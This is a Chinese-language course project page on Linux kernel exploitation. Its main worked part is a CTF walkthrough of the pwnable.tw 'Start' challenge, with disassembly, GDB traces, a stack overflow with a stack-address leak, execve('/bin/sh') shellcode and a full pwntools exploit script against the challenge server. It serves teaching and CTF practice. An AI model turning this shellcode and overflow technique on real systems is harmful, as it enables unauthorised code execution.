# Linux 核心專題: PWN > 執行人: Welly0902 :::success :question: 提問清單 * [name=AjMaChInE] --- exploitation 之前會先找到 vulnerability。對於 KERNEL 來說,google 的 [syzkaller](https://github.com/google/syzkaller) 專門在做這件事,他是 state-of-the-art coverage-guided kernel fuzzing,會是這類型研究工具開發比較的對象。如果找到漏洞就會給出 CVE 編號。假設找到某種 vulnerability,不同的 vulnerability 類型會有不同的 exploitation 方法。對於 OOB W vulnerability 類型 和 UAF 類型面臨的 exploitation 方法就會不一樣。KERNEL exploitation 目標會有 RCE 或者 LPE,最常見的是 LPE,相比 KERNEL RCE,KERNEL RCE 較難有完整的 exploitation chain 與好用的場景,但很有價值。而 exploitation 第一關要 bypass 的防禦機制是 ASLR,在 KERNEL 就叫 KASLR。舉例: [Linux_LPE_eBPF_CVE-2021-3490](https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490),可以查 [CVE-2021-3490](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3490),這都會有 KERNEL 版本影響範圍,再來是可以做到 LPE。哪種漏洞類型? 怎 bypass KASLR ? 就可以開始研究了。另外 [kernelCTF: add CVE-2023-0461_mitigation](https://github.com/google/security-research/pull/31/files),他是 UAF 類型,給你參考。 ::: ## 任務簡述 藉由回顧經典的 PWN 手法,理解 Linux 核心機制。本任務應在 Linux v5.15+ 驗證。 ## TODO: 整理 Linux Kernel Exploitation 整理 [Linux Kernel Exploitation](https://github.com/yuawn/Linux-Kernel-Exploitation) 並重現相關實驗。 > 簡報: [Kernel Exploitation](https://speakerdeck.com/yuawn/kernel-exploitation) > 筆記: [Linux Kernel pwn](https://hackmd.io/@LJP/Ski-z0iWv) > [台灣大學計算機安全 (2019)](https://github.com/yuawn/NTU-Computer-Security) 至少要涵蓋以下: * ret2user * status switch * KPTI * kernel information leak * userfaultfd * race condition * setxattr * signal handler 在 Linux v5.15+ 驗證後,需要探討對應的原理,佐以 Linux 核心原始程式碼說明。 ### Introduction [PWN](https://en.wiktionary.org/wiki/pwn) 也就是 "OWN" 這個字打錯字而來。通常意指破解了程式的漏洞而佔領了系統。有接觸過 [CTF](https://en.wikipedia.org/wiki/Capture_the_flag_(cybersecurity)) 的對打 PWN 這個詞應該不會太陌生。通常駭客在竊取機密資料時會需要通過 [Cyber kill chain](https://www.csoonline.com/article/2134037/what-is-the-cyber-kill-chain-a-model-for-tracing-cyberattacks.html) 一連串的步驟才能夠達成目的,而打 PWN 就是練習其中 exploitation 環節的一種很好的方式,而 exploitation 手法種類繁多,對有何手法有興趣可以參考 [MITRE ATT&CK Matrices](https://attack.mitre.org/matrices/enterprise/) 有根據不同階段及目的記載不同的手法。當然並不是只有駭客會需要知道 PWN,國內的資安公司如 [DEVCORE](https://devco.re/)、數聯資安等在替甲方企業端進行[滲透測試](https://en.wikipedia.org/wiki/Penetration_test)或是紅藍軍演練時,以及防毒軟體公司在針對病毒 pattern 去阻擋時都有可能用到 PWN 其中的技巧。 本篇會根據 [Linux Kernel Exploitation](https://github.com/yuawn/Linux-Kernel-Exploitation) 這個 PWN Linux Kernel 的 lab,一方面學習如何打 PWN,一方面也去了解 Linux Kernel 針對這些漏洞的 exploitation 有什麼保護機制,並透過 GDB 分析 code 時去理解程式與作業系統互動的機制。 ## Tools [gdb-gef](https://github.com/hugsy/gef) [seccomp-tools](https://github.com/david942j/seccomp-tools) [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) [GHIDRA](https://github.com/NationalSecurityAgency/ghidra) [QEMU](https://www.qemu.org/download/#linux) ## Binary Exploitation 或許在去 exploit kernel 前,先了解 binary exploitation 會對之後 kernel exploitation 在做什麼會比較有概念。這裡先拿台灣的 CTF 網站 [pwnable.tw](https://pwnable.tw/) 的第一個 challenge: [Start](https://pwnable.tw/challenge/#1) 來去熟悉 PWN 的流程。 在 binary exploitation 中,顧名思義通常會先拿到一個 binary file ``` $ file start start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped ``` 接下來 CTF PWN 的流程大概如下: 1. 對 binary file 進行 [reverse engineering](https://ithelp.ithome.com.tw/articles/10218237) 從 assembly code 去猜測此 binary 在做什麼。 2. 透過 [GDB](https://hackmd.io/@sysprog/c-standards#%E4%B8%8D%E8%A6%81%E6%80%A5%E8%91%97%E5%8D%B0%E5%87%BA%E4%BD%8D%E5%9D%80%EF%BC%8C%E5%96%84%E7%94%A8-GDB) 去嘗試破解存在漏洞處。 3. 透過 [pwntools](https://github.com/Gallopsled/pwntools) 來撰寫一支程式,並利用此程式獲得 **flag**。 4. 回傳 flag,CTF PWNED! ### Reverse engineering 拿到 binary 後,首先我們可以先在 gdb 中用 `checksec` 去檢查此 binary 在 gcc 編譯時有加了哪些保護機制。 ``` gef➤ checksec [+] checksec for '/home/harv/Desktop/pwnable.tw/start' Canary : ✘ NX : ✘ PIE : ✘ Fortify : ✘ RelRO : ✘ ``` * Canary: buffer 中一段空間塞一段特定值,當被 BOF 時與此值相比就會發現不同而使程式 crash * NX: Non-executable,加一個 NX bit 來標示此段 memory 無法執行 * PIE: 開啟 [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization),讓 process 載入 memory 的初始 address 為隨機 * Fortify: glibc 中一個去檢查 BOF 的 macro * RelRO: Relocation Read-Only,使某些 binary section read only 接著我們可以利用 `objdump` 來看我們的 assembly code: ```asm $ objdump -D start -M intel start: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 54 push esp 8048061: 68 9d 80 04 08 push 0x804809d 8048066: 31 c0 xor eax,eax 8048068: 31 db xor ebx,ebx 804806a: 31 c9 xor ecx,ecx 804806c: 31 d2 xor edx,edx 804806e: 68 43 54 46 3a push 0x3a465443 8048073: 68 74 68 65 20 push 0x20656874 8048078: 68 61 72 74 20 push 0x20747261 804807d: 68 73 20 73 74 push 0x74732073 8048082: 68 4c 65 74 27 push 0x2774654c 8048087: 89 e1 mov ecx,esp 8048089: b2 14 mov dl,0x14 804808b: b3 01 mov bl,0x1 804808d: b0 04 mov al,0x4 804808f: cd 80 int 0x80 8048091: 31 db xor ebx,ebx 8048093: b2 3c mov dl,0x3c 8048095: b0 03 mov al,0x3 8048097: cd 80 int 0x80 8048099: 83 c4 14 add esp,0x14 804809c: c3 ret 0804809d <_exit>: 804809d: 5c pop esp 804809e: 31 c0 xor eax,eax 80480a0: 40 inc eax 80480a1: cd 80 int 0x80 ``` 也可以使用 GDB 來看: ```gef gef➤ disas _start Dump of assembler code for function _start: 0x08048060 <+0>: push esp 0x08048061 <+1>: push 0x804809d 0x08048066 <+6>: xor eax,eax 0x08048068 <+8>: xor ebx,ebx 0x0804806a <+10>: xor ecx,ecx 0x0804806c <+12>: xor edx,edx 0x0804806e <+14>: push 0x3a465443 0x08048073 <+19>: push 0x20656874 0x08048078 <+24>: push 0x20747261 0x0804807d <+29>: push 0x74732073 0x08048082 <+34>: push 0x2774654c 0x08048087 <+39>: mov ecx,esp 0x08048089 <+41>: mov dl,0x14 0x0804808b <+43>: mov bl,0x1 0x0804808d <+45>: mov al,0x4 0x0804808f <+47>: int 0x80 0x08048091 <+49>: xor ebx,ebx 0x08048093 <+51>: mov dl,0x3c 0x08048095 <+53>: mov al,0x3 0x08048097 <+55>: int 0x80 0x08048099 <+57>: add esp,0x14 0x0804809c <+60>: ret End of assembler dump. ``` 觀察以上的 assembly code 可觀察到以下行為: 1. 清除 eax, ebx, ecx, edx register 的值成為 0 2. 0x0804806e - 0x08048082 將值 push 進到 stack,存值方式為 little-endian,把 hex 對應回 [ascii table](https://www.asciitable.com/) 可看出對應字串為 `Let's start the CTF:` ```asm= 0x0804806e <+14>: push 0x3a465443 # 3a 46 54 43 # : F T C #<-----little-endian---------- ``` 3. 接著可以看到有兩個 `int 0x80`,也就是 interrupt 來利用 syscall,可查詢 [32 bit 對應的 syscall](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#arm-32_bit_eab) 來知道分別是 `sys_write` 與 `sys_read` |name|eax|ebx|ecx|edx| |----|---|---|---|---| |[sys_write](https://man7.org/linux/man-pages/man2/write.2.html) |0x04| fd = 1|char *buf = esp| count = 0x14| ```asm 0x08048087 <+39>: mov ecx,esp // ecx 放入 esp 0x08048089 <+41>: mov dl,0x14 // dl 是 edx 的 lower 8 bit,設為 20 bytes 0x0804808b <+43>: mov bl,0x1 // 設為1,stdout 0x0804808d <+45>: mov al,0x4 // eax 決定使用哪個 syscall,4為 sys_write 0x0804808f <+47>: int 0x80 ``` 4. `add esp,0x14` 也就是 esp 加上20,因為 stack 愈接近 top 的地址的 address 值愈小,所以加上20作用類似於 [function epilogue](https://en.wikipedia.org/wiki/Function_prologue_and_epilogue) 回收 buffer 空間的動作 ```graphviz // Show stack and dereferenced values using Graphviz (DOT) // (c) Victor Dorneanu digraph G { // Define layout graph [pad=".75", ranksep="0.95", nodesep="0.05"]; rankdir=LR; node [shape="record"]; rank=same; // Define pointers rsp [ label="<p> $esp \l", height="0.1", color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white ]; // rbp [ // label="<p> $rbp \l", height="0.1", // color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white // ]; // rsp_4 [ // label="<p> $rsp + 4 \l", height="0.01", // color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white // ]; // rsp_8 [ // label="<p> $rsp + 8 \l", height="0.01", // color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white, // ]; // rsp_12 [ // label="<p> $rsp + 12 \l", height="0.01", // color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white, // ]; // Define stack stack [ width="3", label="<p>\n\nStack\n\n\n | <bp>0x2774654c (Let’)| <20>0x74732073 (s st)| <16>0x20747261 (art )| <12>0x20656874 (the )| <8>0x3a465443 (CTF:)| <4>offset _exit | <0>Saved ESP " ]; // Pointer -> Stack edges // rbp:p -> stack:bp [style=dotted]; rsp:p -> stack:bp; // [style=dotted]; // rsp_4:p -> stack:4 [style=invis]; // rsp_8:p -> stack:8 [style=invis]; // rsp_12:p -> stack:12 [style=invis]; } ``` ### GDB 觀察 使用 [gef](https://github.com/hugsy/gef) 來進行 debug,這邊想要觀察 syscall write 與 read 與 memory 之間的互動,所以把 breakpoint 設在 `int 0x80` 之前,並可以輸入 `ni` 觀察每執行一行 instruction 所帶來的變化 ```asm gef➤ b *0x0804808d Breakpoint 1 at 0x804808d gef➤ r Starting program: /home/harv/Desktop/pwnable.tw/start Breakpoint 1, 0x0804808d in _start () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x0 $ebx : 0x1 $ecx : 0xffffd474 → 0x2774654c ("Let'"?) $edx : 0x14 $esp : 0xffffd474 → 0x2774654c ("Let'"?) $ebp : 0x0 $esi : 0x0 $edi : 0x0 $eip : 0x0804808d → <_start+45> mov al, 0x4 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00 ────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd474│+0x0000: 0x2774654c ← $esp 0xffffd478│+0x0004: 0x74732073 0xffffd47c│+0x0008: 0x20747261 0xffffd480│+0x000c: 0x20656874 0xffffd484│+0x0010: 0x3a465443 0xffffd488│+0x0014: 0x0804809d → <_exit+0> pop esp 0xffffd48c│+0x0018: 0xffffd490 → 0x00000001 0xffffd490│+0x001c: 0x00000001 ──────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8048087 <_start+39> mov ecx, esp 0x8048089 <_start+41> mov dl, 0x14 0x804808b <_start+43> mov bl, 0x1 → 0x804808d <_start+45> mov al, 0x4 0x804808f <_start+47> int 0x80 0x8048091 <_start+49> xor ebx, ebx 0x8048093 <_start+51> mov dl, 0x3c 0x8048095 <_start+53> mov al, 0x3 0x8048097 <_start+55> int 0x80 ──────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "start", stopped 0x804808d in _start (), reason: BREAKPOINT ────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x804808d → _start() ───────────────────────────────────────────────────────────────────────────────────────── ``` 當 `ni` 至 eip 指向 `int 0x80` 也就是下一行要執行 sys_write 時,再次 `ni` 後可看到: ```asm= gef➤ ni Let's start the CTF:0x08048091 in _start () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x14 $ebx : 0x1 $ecx : 0xffffd474 → 0x2774654c ("Let'"?) $edx : 0x14 $esp : 0xffffd474 → 0x2774654c ("Let'"?) $ebp : 0x0 $esi : 0x0 $edi : 0x0 $eip : 0x08048091 → <_start+49> xor ebx, ebx $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00 ────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd474│+0x0000: 0x2774654c ← $esp 0xffffd478│+0x0004: 0x74732073 0xffffd47c│+0x0008: 0x20747261 0xffffd480│+0x000c: 0x20656874 0xffffd484│+0x0010: 0x3a465443 0xffffd488│+0x0014: 0x0804809d → <_exit+0> pop esp 0xffffd48c│+0x0018: 0xffffd490 → 0x00000001 0xffffd490│+0x001c: 0x00000001 ──────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x804808b <_start+43> mov bl, 0x1 0x804808d <_start+45> mov al, 0x4 0x804808f <_start+47> int 0x80 → 0x8048091 <_start+49> xor ebx, ebx 0x8048093 <_start+51> mov dl, 0x3c 0x8048095 <_start+53> mov al, 0x3 0x8048097 <_start+55> int 0x80 0x8048099 <_start+57> add esp, 0x14 0x804809c <_start+60> ret ──────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "start", stopped 0x8048091 in _start (), reason: SINGLE STEP ────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x8048091 → _start() ``` 首先可以看到終端機輸出 `Let's start the CTF:0x08048091 in _start ()` 也就是如果正常執行程式輸入值之前會看到輸出的字串。這裡 `sys_write` 所做的事就是將 stack 中目前 esp 所指到的地址抓 20 個位元組輸出於標準輸出。 這裡可以實驗看看如果我們在 sys_write 參數中,讓原本 20 個位元組設成 28 個位元組,會不會印出 stack 中預期外的值: ``` gef➤ set $edx = 0x1b gef➤ ni Let's start the CTF:????0x08048091 in _start () ``` 可以看到輸出的字變成 `Let's start the CTF:????`,多出來的字元即是讀超出原本規劃存放 return 地址及其他預期外資料 `0x0804809d` 和 `0xffffd490` 共8個 bytes,這些 hex 經過轉譯成 ascii string 後可發現為特殊符號,所以在 terminal 上印出來為 `?`。 接著同理送出 sys_read 的 syscall,這裡再用 gef 觀察。當執行到 `int 0x80` 此時 `fd = 0 (stdin)` 可以輸入值。而從 edx 被設為 0x3c 我們可以知道一共會有 60 bytes 透過 sys_read 被寫進 stack 裡,我們用 gef 來驗證: ```asm # 此時下一行執行 int 0x80 # 先創造 70 bytes 然後 ni 後輸入 gef➤ python print("a"*70) aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa gef➤ ni aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 0x08048099 in _start () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x3c $ebx : 0x0 $ecx : 0xffffd474 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" $edx : 0x3c $esp : 0xffffd474 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" $ebp : 0x0 $esi : 0x0 $edi : 0x0 $eip : 0x08048099 → <_start+57> add esp, 0x14 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00 ────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd474│+0x0000: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" ← $esp 0xffffd478│+0x0004: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" 0xffffd47c│+0x0008: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" 0xffffd480│+0x000c: 0x61616161 0xffffd484│+0x0010: 0x61616161 0xffffd488│+0x0014: 0x61616161 0xffffd48c│+0x0018: 0x61616161 0xffffd490│+0x001c: 0x61616161 ──────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x8048093 <_start+51> mov dl, 0x3c 0x8048095 <_start+53> mov al, 0x3 0x8048097 <_start+55> int 0x80 → 0x8048099 <_start+57> add esp, 0x14 0x804809c <_start+60> ret 0x804809d <_exit+0> pop esp 0x804809e <_exit+1> xor eax, eax 0x80480a0 <_exit+3> inc eax 0x80480a1 <_exit+4> int 0x80 ──────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "start", stopped 0x8048099 in _start (), reason: SINGLE STEP ────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x8048099 → _start() ``` 此時我們可以看到上面顯示的 stack 範圍內 `0xffffd474 (stack top 也是 esp 所指之處)` 到 `0xffffd490` 一共 28 bytes 都被填入 a。不過剛總共輸入 70 bytes 的 a,再用 gef 檢查一下: ```asm= # 'a' = 0x61 gef➤ x/20xw 0xffffd474 0xffffd474: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd484: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd494: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd4a4: 0x61616161 0x61616161 0x61616161 0xffffd694 0xffffd4b4: 0xffffd6a1 0xffffd6b6 0xffffd6c5 0xffffd6d4 ``` 由上可以看出總共只寫入了 60 bytes 的 a。 如此一來,結合 `sys_write` 和 `sys_read` 將會留給我們寫入 shellcode 的空間。 ### 漏洞利用 從上述 gef 的觀察,可以知道有 BOF 的漏洞可以讓我們改寫 return address 進以操作。但此時並沒有辦法直接改寫 return address 到一個 function 來開 shell,故需將 shell code 寫入 memory 加以執行。 在這之前,因為 EIP 每次執行程式的地址都會不同,所以我們必須先 [information leak](https://youtu.be/rMqvL9j0QaM?t=3294) 將 EIP address leaked 出來再利用。 ```python def leak_esp(p): start = p.recvuntil(':') payload = b'a'*0x14 + p32(0x08048087) p.send(payload) saved_esp = p.recv()[:4] return u32(saved_esp) ``` 這裡我們設計 payload 時,先用 20 bytes 的 a 將 stack 填滿,接下來的 32 bit 就可以將原先的 return address 給 overwrite。 ```graphviz digraph G { // Define layout graph [pad=".75", ranksep="0.95", nodesep="0.05"]; rankdir=LR; node [shape="record"]; rank=same; // Define pointers rsp [ label="<p> $esp \l", height="0.1", color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white ]; // rbp [ // label="<p> $rbp \l", height="0.1", // color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white // ]; // rsp_4 [ // label="<p> $rsp + 4 \l", height="0.01", // color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white // ]; // rsp_8 [ // label="<p> $rsp + 8 \l", height="0.01", // color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white, // ]; // rsp_12 [ // label="<p> $rsp + 12 \l", height="0.01", // color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white, // ]; // Define stack stack [ width="3", label="<p>\n\nStack\n\n\n | <bp>0x61616161 (aaaa)| <20>0x61616161 (aaaa)| <16>0x61616161 (aaaa)| <12>0x61616161 (aaaa)| <8>0x61616161 (aaaa)| <4>0x08048087 (mov ecx,esp) | <0>Saved ESP " ]; rsp:p -> stack:bp; } ``` 當寫入完成後,此時要執行最後兩行: ```asm= 0x08048099 <+57>: add esp,0x14 0x0804809c <+60>: ret ``` 當 `add esp,0x14` 後,ESP 往下 20 bytes(高地址),stack 變為如下: ```graphviz digraph G { // Define layout graph [pad=".75", ranksep="0.95", nodesep="0.05"]; rankdir=LR; node [shape="record"]; rank=same; // Define pointers rsp [ label="<p> $esp \l", height="0.1", color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white ]; // Define stack stack [ width="3", label="<p>\n\nStack\n\n\n | <bp>0x61616161 (aaaa)| <20>0x61616161 (aaaa)| <16>0x61616161 (aaaa)| <12>0x61616161 (aaaa)| <8>0x61616161 (aaaa)| <4>0x08048087 (mov ecx,esp) | <0>Saved ESP " ]; rsp:p -> stack:<4>; } ``` 此時 return 又會重新回到準備要做 `sys_write`,就可以利用`sys_write` 將寫回的 20 bytes 中的前4個 bytes 取出,就得到 ESP 的 base address 了。 接下來我們想要開 shell,這裡需用到 syscall `execve` 去執行 `execve(“/bin/sh”,NULL,NULL)` 來達到效果。 類似上面 sys_write 放參數的方式,寫成 assembly code 後,再以 assembler 轉譯成 machine code 後就得到了 shellcode,程式如下: ```python shellcode=''' xor eax,eax push eax push %s push %s mov ebx, esp xor ecx,ecx xor edx,edx mov al, 0xb int 0x80''' %(u32('/sh\0'),u32('/bin')) # 傳送第二次 payload 達成開 shell def pwn(p,saved_esp): payload = b'a'*0x14 + p32(saved_esp + 20) + asm(shellcode) p.send(payload) p.interactive() ``` 在知道了 ESP base address 後,因為程式剩下的 instruction 還剩下一次 sys_read,我們就可以利用再一次對 stack 的寫入去將 shellcode 也塞進去,並運用剛 leaked 出來的 ESP address,把 return address 指到 shellcode 所在的地址,示意圖如下: ```graphviz digraph G { // Define layout graph [pad=".75", ranksep="0.95", nodesep="0.05"]; rankdir=LR; node [shape="record"]; rank=same; // Define pointers rsp [ label="<p> $esp \l", height="0.1", color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white ]; rsp2 [ label="<p> leaked $esp \l", height="0.1", color=white, fontcolor=red,fontsize=20,style=filled, fillcolor=white ]; // Define stack stack [ width="3", label="<p>\n\nStack\n\n\n | <bp>0x61616161 (aaaa)| <20>0x61616161 (aaaa)| <16>0x61616161 (aaaa)| <12>0x61616161 (aaaa)| <8>0x61616161 (aaaa)| <4>0x08048087 (mov ecx,esp) | <0>Saved ESP " ]; rsp:p -> stack:<4>; rsp2:p -> stack:<0> } ``` 這ㄧ次送進 `sys_read` 的 payload 為: ```python payload = b'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)` ``` 這次除了又從 ESP 開始填滿了 20 bytes 的 a 之外,剛 leaked 的 address 加上 20 bytes 剛好就會指到 shellcode 上 ```graphviz digraph G { // Define layout graph [pad=".75", ranksep="0.95", nodesep="0.05"]; rankdir=LR; node [shape="record"]; rank=same; // Define pointers rsp [ label="<p> $esp \l", height="0.1", color=white, fontcolor=black,fontsize=20,style=filled, fillcolor=white ]; rsp2 [ label="<p> leaked $esp \l", height="0.1", color=white, fontcolor=red,fontsize=20,style=filled, fillcolor=white ]; rsp3 [ label="<p> leaked $esp +20 bytes \l", height="0.1", color=white, fontcolor=red,fontsize=20,style=filled, fillcolor=white ]; // Define stack stack [ width="3", label="<p>\n\nStack\n\n\n | <bp>0x61616161 (aaaa)|<40>0x61616161 (aaaa) |<36>0x61616161 (aaaa) |<32>0x61616161 (aaaa) |<28>0x61616161 (aaaa) |<24>0x61616161 (aaaa) | <20>0x61616161 (aaaa)| <16>0x61616161 (aaaa)| <12>0x61616161 (aaaa)| <8>0x61616161 (aaaa)| <4>address of leaked address + 20 bytes | <0>Shellcode " ]; rsp:p -> stack:<24>; rsp2:p -> stack:<20>; rsp3:p -> stack:<0>; } ``` 所以從上圖看 return 到 shellcode 所在位置,成功開 shell,就可以開啟 flag。 ``` $ cat /home/start/flag FLAG{*************} ``` 完整程式參考[本篇](https://cool-y.github.io/2019/10/25/PWNtw-start/): ``` $ python3 --version Python 3.10.6 ``` ```python from pwn import * from binascii import * shellcode=''' xor eax,eax push eax push %s push %s mov ebx, esp xor ecx,ecx xor edx,edx mov al, 0xb int 0x80''' %(u32('/sh\0'),u32('/bin')) def leak_esp(p): start = p.recvuntil(':') payload = b'a'*0x14 + p32(0x08048087) p.send(payload) saved_esp = p.recv()[:4] return u32(saved_esp) def pwn(p,saved_esp): payload = b'a'*0x14 + p32(saved_esp + 20) + asm(shellcode) p.send(payload) p.interactive() if __name__ == '__main__': p = remote("chall.pwnable.tw",10000) saved_esp = leak_esp(p) print("leak saved_esp: " ,hex(saved_esp+20)) pwn(p,saved_esp) ``` <!-- |name|eax|ebx|ecx|edx|esi| |----|---|---|---|---|---| |[sys_execve](https://man7.org/linux/man-pages/man2/execve.2.html) |0x04| fd = 1|char *buf = esp| count = 0x14|struct pt_regs| --> ## Kernel Exploitaion ## Reference https://www.kernel.org/doc/Documentation/security/self-protection.txt https://cirosantilli.com/linux-kernel-module-cheat/ https://github.com/david942j/seccomp-tools https://www.youtube.com/playlist?list=PL-ymxv0nOtqowTpJEW4XTiGQYx6iwa6og [台灣大學計算機安全 (2019)](https://github.com/yuawn/NTU-Computer-Security) ## TODO: 經典 PWN 解說和彙整 從 [kernel pwn](https://github.com/smallkirby/kernelpwn) 選出至少 4 個能在 Linux v5.15+ 重現的案例,予以解說並彙整相關素材。 ```graphviz digraph G { // Define layout graph [pad=".75", ranksep="0.95", nodesep="0.05"]; rankdir=LR; node [shape="record"]; rank=same; // Define pointers rsp [ label="<p> $rsp \l", height="0.1", color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white ]; rbp [ label="<p> $rbp \l", height="0.1", color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white ]; rsp_4 [ label="<p> $rsp + 4 \l", height="0.01", color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white ]; rsp_8 [ label="<p> $rsp + 8 \l", height="0.01", color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white, ]; rsp_12 [ label="<p> $rsp + 12 \l", height="0.01", color=white, fontcolor=black,fontsize=9,style=filled, fillcolor=white, ]; // Define stack stack [ width="3", label="<p>\n\nStack\n\n\n | <bp>\n...\n\n | <20> 0x41414141 \l | <16>0x3 \l| <12>0x0000000000400675 \l | <8>0x0000000000400660 \l | <4>0x00007fffffffe408 \l | <0>0x00007fffffffe328 \l" ]; // Define values val [ width="5",color=blue, label="<p>\n\nValues\n\n\n | \n...\n\n | <1>0xffffffff \l | <2>0xfff908987 \l | <3>(0x00007fffffffe67d): aaaaa \l | <4>(main): sub rsp,0x8 \l | <5>blabala \l | <6>(main+21): call 0x4005a0 \l" ]; // Pointer -> Stack edges rbp:p -> stack:bp [style=dotted]; rsp:p -> stack:0 [style=dotted]; rsp_4:p -> stack:4 [style=invis]; rsp_8:p -> stack:8 [style=invis]; rsp_12:p -> stack:12 [style=invis]; // Trick to have everything horizontally aligned stack:p -> val:p [style=invis]; // Stack -> Values edges edge[style=dotted]; stack:4 -> val:3; stack:8 -> val:4; stack:0 -> val:2 [color=red, style=solid]; stack:12 -> val:6; } ```